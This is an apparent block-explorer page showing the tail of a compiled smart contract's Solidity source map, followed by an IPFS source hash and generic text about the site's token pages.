2:52;343:29;362:9;343:29;:::i;383:260::-;451:6;459;512:2;500:9;491:7;487:23;483:32;480:52;;;528:1;525;518:12;480:52;551:29;570:9;551:29;:::i;:::-;541:39;;599:38;633:2;622:9;618:18;599:38;:::i;:::-;589:48;;383:260;;;;;:::o;648:328::-;725:6;733;741;794:2;782:9;773:7;769:23;765:32;762:52;;;810:1;807;800:12;762:52;833:29;852:9;833:29;:::i;:::-;823:39;;881:38;915:2;904:9;900:18;881:38;:::i;:::-;871:48;;966:2;955:9;951:18;938:32;928:42;;648:328;;;;;:::o;981:1138::-;1076:6;1084;1092;1100;1153:3;1141:9;1132:7;1128:23;1124:33;1121:53;;;1170:1;1167;1160:12;1121:53;1193:29;1212:9;1193:29;:::i;:::-;1183:39;;1241:38;1275:2;1264:9;1260:18;1241:38;:::i;:::-;1231:48;;1326:2;1315:9;1311:18;1298:32;1288:42;;1381:2;1370:9;1366:18;1353:32;1404:18;1445:2;1437:6;1434:14;1431:34;;;1461:1;1458;1451:12;1431:34;1499:6;1488:9;1484:22;1474:32;;1544:7;1537:4;1533:2;1529:13;1525:27;1515:55;;1566:1;1563;1556:12;1515:55;1602:2;1589:16;1624:2;1620;1617:10;1614:36;;;1630:18;;:::i;:::-;1705:2;1699:9;1673:2;1759:13;;-1:-1:-1;;1755:22:1;;;1779:2;1751:31;1747:40;1735:53;;;1803:18;;;1823:22;;;1800:46;1797:72;;;1849:18;;:::i;:::-;1889:10;1885:2;1878:22;1924:2;1916:6;1909:18;1964:7;1959:2;1954;1950;1946:11;1942:20;1939:33;1936:53;;;1985:1;1982;1975:12;1936:53;2041:2;2036;2032;2028:11;2023:2;2015:6;2011:15;1998:46;2086:1;2081:2;2076;2068:6;2064:15;2060:24;2053:35;2107:6;2097:16;;;;;;;981:1138;;;;;;;:::o;2124:315::-;2189:6;2197;2250:2;2238:9;2229:7;2225:23;2221:32;2218:52;;;2266:1;2263;2256:12;2218:52;2289:29;2308:9;2289:29;:::i;:::-;2279:39;;2368:2;2357:9;2353:18;2340:32;2381:28;2403:5;2381:28;:::i;:::-;2428:5;2418:15;;;2124:315;;;;;:::o;2444:254::-;2512:6;2520;2573:2;2561:9;2552:7;2548:23;2544:32;2541:52;;;2589:1;2586;2579:12;2541:52;2612:29;2631:9;2612:29;:::i;:::-;2602:39;2688:2;2673:18;;;;2660:32;;-1:-1:-1;;;2444:254:1:o;2703:245::-;2770:6;2823:2;2811:9;2802:7;2798:23;2794:32;2791:52;;;2839:1;2836;2829:12;2791:52;2871:9;2865:16;2890:28;2912:5;2890:28;:::i;2953:245::-;3011:6;3064:2;3052:9;3043:7;3039:23;3035:32;3032:52;;;3080:1;3077;3070:12;3032:52;3119:9;3106:23;3138:30;3162:5;3138:30;:::i;3203:249::-;3272:6;3325:2;3313:9;3304:7;3300:23;3296:32;3293:52;;;3341:1;3338;3331:12;3293:52;3373:9;3367:16;3392:30;3416:5;3392:30;:::i;3457:180::-;3516:6;3569:2;3557:9;3548:7;3544:23;3540:32;3537:52;;;3585:1;3582;3575:12;3537:52;-1:-1:-1;3608:23:1;;3457:180;-1:-1:-1;3457:180:1:o;3642:248::-;3710:6;3718;3771:2;3759:9;3750:7;3746:23;3742:32;3739:52;;;3787:1;3784;3777:12;3739:52;-1:-1:-1;;3810:23:1;;;3880:2;3865:18;;;3852:32;;-1:-1:-1;3642:248:1:o;3895:257::-;3936:3;3974:5;3968:12;4001:6;3996:3;3989:19;4017:63;4073:6;4066:4;4061:3;4057:14;4050:4;4043:5;4039:16;4017:63;:::i;:::-;4134:2;4113:15;-1:-1:-1;;4109:29:1;4100:39;;;;4141:4;4096:50;;3895:257;-1:-1:-1;;3895:257:1:o;4157:663::-;4520:34;4515:3;4508:47;-1:-1:-1;;;4580:2:1;4575:3;4571:12;4564:46;4490:3;4639:6;4633:13;4655:60;4708:6;4703:2;4698:3;4694:12;4689:2;4681:6;4677:15;4655:60;:::i;:::-;-1:-1:-1;;;4774:2:1;4734:16;;;;4766:11;;;4759:28;-1:-1:-1;4811:2:1;4803:11;;4157:663;-1:-1:-1;4157:663:1:o;5342:488::-;-1:-1:-1;;;;;5611:15:1;;;5593:34;;5663:15;;5658:2;5643:18;;5636:43;5710:2;5695:18;;5688:34;;;5758:3;5753:2;5738:18;;5731:31;;;5536:4;;5779:45;;5804:19;;5796:6;5779:45;:::i;:::-;5771:53;5342:488;-1:-1:-1;;;;;;5342:488:1:o;6267:219::-;6416:2;6405:9;6398:21;6379:4;6436:44;6476:2;6465:9;6461:18;6453:6;6436:44;:::i;6673:128::-;6713:3;6744:1;6740:6;6737:1;6734:13;6731:39;;;6750:18;;:::i;:::-;-1:-1:-1;6786:9:1;;6673:128::o;6806:217::-;6846:1;6872;6862:132;;6916:10;6911:3;6907:20;6904:1;6897:31;6951:4;6948:1;6941:15;6979:4;6976:1;6969:15;6862:132;-1:-1:-1;7008:9:1;;6806:217::o;7028:168::-;7068:7;7134:1;7130;7126:6;7122:14;7119:1;7116:21;7111:1;7104:9;7097:17;7093:45;7090:71;;;7141:18;;:::i;:::-;-1:-1:-1;7181:9:1;;7028:168::o;7201:125::-;7241:4;7269:1;7266;7263:8;7260:34;;;7274:18;;:::i;:::-;-1:-1:-1;7311:9:1;;7201:125::o;7331:258::-;7403:1;7413:113;7427:6;7424:1;7421:13;7413:113;;;7503:11;;;7497:18;7484:11;;;7477:39;7449:2;7442:10;7413:113;;;7544:6;7541:1;7538:13;7535:48;;;-1:-1:-1;;7579:1:1;7561:16;;7554:27;7331:258::o;7594:380::-;7673:1;7669:12;;;;7716;;;7737:61;;7791:4;7783:6;7779:17;7769:27;;7737:61;7844:2;7836:6;7833:14;7813:18;7810:38;7807:161;;;7890:10;7885:3;7881:20;7878:1;7871:31;7925:4;7922:1;7915:15;7953:4;7950:1;7943:15;7807:161;;7594:380;;;:::o;7979:135::-;8018:3;-1:-1:-1;;8039:17:1;;8036:43;;;8059:18;;:::i;:::-;-1:-1:-1;8106:1:1;8095:13;;7979:135::o;8119:127::-;8180:10;8175:3;8171:20;8168:1;8161:31;8211:4;8208:1;8201:15;8235:4;8232:1;8225:15;8251:127;8312:10;8307:3;8303:20;8300:1;8293:31;8343:4;8340:1;8333:15;8367:4;8364:1;8357:15;8383:118;8469:5;8462:13;8455:21;8448:5;8445:32;8435:60;;8491:1;8488;8481:12;8506:131;-1:-1:-1;;;;;;8580:32:1;;8570:43;;8560:71;;8627:1;8624;8617:12

Swarm Source

ipfs://7c07257688137cf33f38606db16b209f576b5a1a2d994267cdc899b32fb7f3de

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.

Tools & Services